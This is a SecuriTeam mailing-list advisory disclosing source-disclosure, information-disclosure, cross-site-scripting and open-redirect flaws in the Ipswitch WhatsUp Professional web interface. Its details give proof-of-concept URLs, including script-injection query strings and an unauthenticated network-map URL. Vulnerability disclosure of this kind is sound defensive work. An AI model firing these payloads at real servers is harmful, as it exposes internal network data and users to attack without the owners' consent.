The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Source Disclosure in Ipswitch WhatsUp Professional Web Interface
------------------------------------------------------------------------
SUMMARY
<http://www.ipswitch.com/products/whatsup/professional/index.asp> WhatsUp
is a tool from Ipswitch to monitor application and network.
Ipswitch runs a custom web server for the application web interface. This
web server suffers from several cross-site-scripting, information
disclosure and source disclosure vulnerabilities.
DETAILS
Vulnerable Systems:
* WhatsUp Professional 2006, source disclosure in WhatsUp Professional
2005 and 2005 SP1 too.
Unauthenticated User:
Source disclosure exist in the following pages:
http://server:8022/NmConsole/Login.asp
Network nodes information disclosure (name, internal addr, service):
http://server:8022/NmConsole/utility/RenderMap.asp?nDeviceGroupID=0
Authenticated User:
There are several XSS vulnerabilities. For example:
http://server:8022/NmConsole/Navigation.asp?sDeviceView=<SCRIPT>alert("me");</SCRIPT>&nDeviceID=<SCRIPT>alert("me");</SCRIPT>
http://server:8022/NmConsole/ToolResults.asp?bIsIE=true&nToolType=0&sHostname=%3cscript%3ealert('me')%3c/script%3e&nTimeout=2000&nCount=1&nSize=32&btnPing=Ping
Page redirection via cross-site-scripting:
http://server:8022/NmConsole/DeviceSelection.asp?sRedirectUrl=Reports/DevicePassiveMonitorSyslog.asp&sCancelURL=http://www.google.fr
ADDITIONAL INFORMATION
The information has been provided by <mailto:david.maciejak@gmail.com>
David Maciejak.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
